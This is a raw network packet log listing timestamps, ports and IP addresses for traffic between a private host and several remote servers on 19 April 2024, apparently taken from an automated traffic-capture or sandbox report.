Apr 19, 2024 01:33:03.789084911 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789127111 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789154053 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.789165974 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789206028 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789221048 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.789244890 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789282084 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789299965 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.789321899 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789361000 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789376020 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.833868027 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.989626884 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.989695072 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.989734888 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.989777088 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.989818096 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.989859104 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.989877939 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.989878893 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.989898920 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.989949942 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.989974022 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.990012884 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.990029097 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.990051985 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.990091085 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.990112066 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.990129948 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.990171909 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.990207911 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.036948919 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.189264059 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189321995 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189361095 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189419985 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189418077 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.189461946 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189500093 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.189502001 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189542055 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189558029 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.189580917 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189620018 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189645052 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.189659119 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189703941 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189721107 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189723015 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.189764023 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.189780951 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.240068913 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.389838934 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.389914036 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.389957905 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.389997005 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390038967 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390078068 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390119076 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390137911 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.390139103 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.390139103 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.390157938 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390197039 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390233994 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390264988 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.390275002 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.390295029 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.443208933 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.555862904 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.555932045 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.555970907 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556010008 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556051970 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556092024 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556159019 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556196928 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556220055 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.556220055 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.556221008 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.556236029 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556272984 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556313038 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556313992 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.556351900 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556353092 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.556395054 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.556607008 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.755584955 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.755681992 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.755721092 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:04.755887985 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:04.755969048 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.076581955 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.076648951 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.076730013 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.076767921 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.076806068 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.076809883 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.076853991 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.076858997 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.076894045 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.076951027 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.176762104 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.177978992 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.178709984 CEST	49716	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:05.380930901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.497853994 CEST	8379	49716	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:05.497941971 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.497961998 CEST	49716	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:05.498147964 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.498172998 CEST	49716	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:05.600822926 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:05.600862026 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:05.600935936 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:05.601766109 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:05.601779938 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:05.717036963 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:05.717124939 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.717390060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:05.817209959 CEST	8379	49716	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:05.817286015 CEST	49716	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:05.999911070 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:05.999984980 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.006692886 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.006709099 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:06.007164001 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:06.009119987 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.009207964 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.009212971 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:06.009398937 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.052211046 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053425074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053488970 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053529024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053549051 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.053570032 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053610086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053622961 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.053649902 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053690910 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.053706884 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.056118011 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:06.099343061 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.131779909 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:06.131998062 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:06.132118940 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.133558035 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.133558035 CEST	49718	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:06.133589029 CEST	443	49718	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:06.136507034 CEST	8379	49716	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:06.139539957 CEST	8379	49716	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:06.152834892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.152901888 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.152945042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.153100014 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.193080902 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.193098068 CEST	49716	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:06.365084887 CEST	49716	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:06.365472078 CEST	49719	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:06.387943983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.387986898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388029099 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388056040 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.388071060 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388164997 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388204098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388221025 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.388245106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388253927 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.388284922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388324022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388361931 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388375044 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.388400078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.388411045 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.388441086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.390882969 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.396186113 CEST	49673	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:06.396214008 CEST	49674	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:06.433955908 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.434014082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.434056044 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.487838984 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.487910986 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.487951994 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.487993956 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.488003016 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.488048077 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.527887106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.527956963 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.528017044 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.681477070 CEST	8379	49719	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:06.681720018 CEST	49719	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:06.681720018 CEST	49719	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:06.693059921 CEST	49672	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:06.723237991 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723303080 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723344088 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723385096 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723407984 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.723423958 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723445892 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.723464966 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723505974 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723524094 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.723545074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723583937 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723620892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723634958 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.723660946 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723670959 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.723702908 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723741055 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723747969 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.723781109 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723820925 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723845959 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.723861933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.723917961 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.752944946 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.753015041 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.753055096 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.753089905 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.753093958 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.753135920 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.753149033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.753176928 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.753217936 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.753272057 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.852535963 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852600098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852639914 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852679968 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852694988 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.852724075 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852740049 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.852765083 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852803946 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852857113 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852864027 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.852897882 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852902889 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.852941036 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852981091 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.852999926 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.853019953 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.853061914 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:06.853113890 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:06.997522116 CEST	8379	49719	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:06.997752905 CEST	49719	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:07.058806896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.058878899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.058929920 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.058962107 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.058973074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059011936 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059012890 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.059052944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059093952 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059133053 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059134007 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.059173107 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059176922 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.059212923 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059250116 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059282064 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.059289932 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059333086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.059385061 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.252840996 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.252909899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.252952099 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.252990007 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253026962 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.253031969 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253062010 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.253076077 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253115892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253153086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.253154993 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253195047 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253211021 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.253233910 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253283978 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.253300905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253343105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253385067 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.253393888 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.302426100 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.313720942 CEST	8379	49719	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:07.316217899 CEST	8379	49719	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:07.320590973 CEST	49719	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:07.452766895 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.452842951 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.452889919 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.452889919 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.452930927 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.452972889 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.452980995 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.505601883 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.518986940 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519049883 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519092083 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.519092083 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519135952 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519179106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519186974 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.519218922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519259930 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519270897 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.519299984 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519335985 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.519337893 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.519464970 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.855262995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.855328083 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.855367899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.855407000 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.855411053 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.855448008 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.855488062 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.855489969 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.855530024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.855597019 CEST	49717	9187	192.168.2.6	47.57.240.88
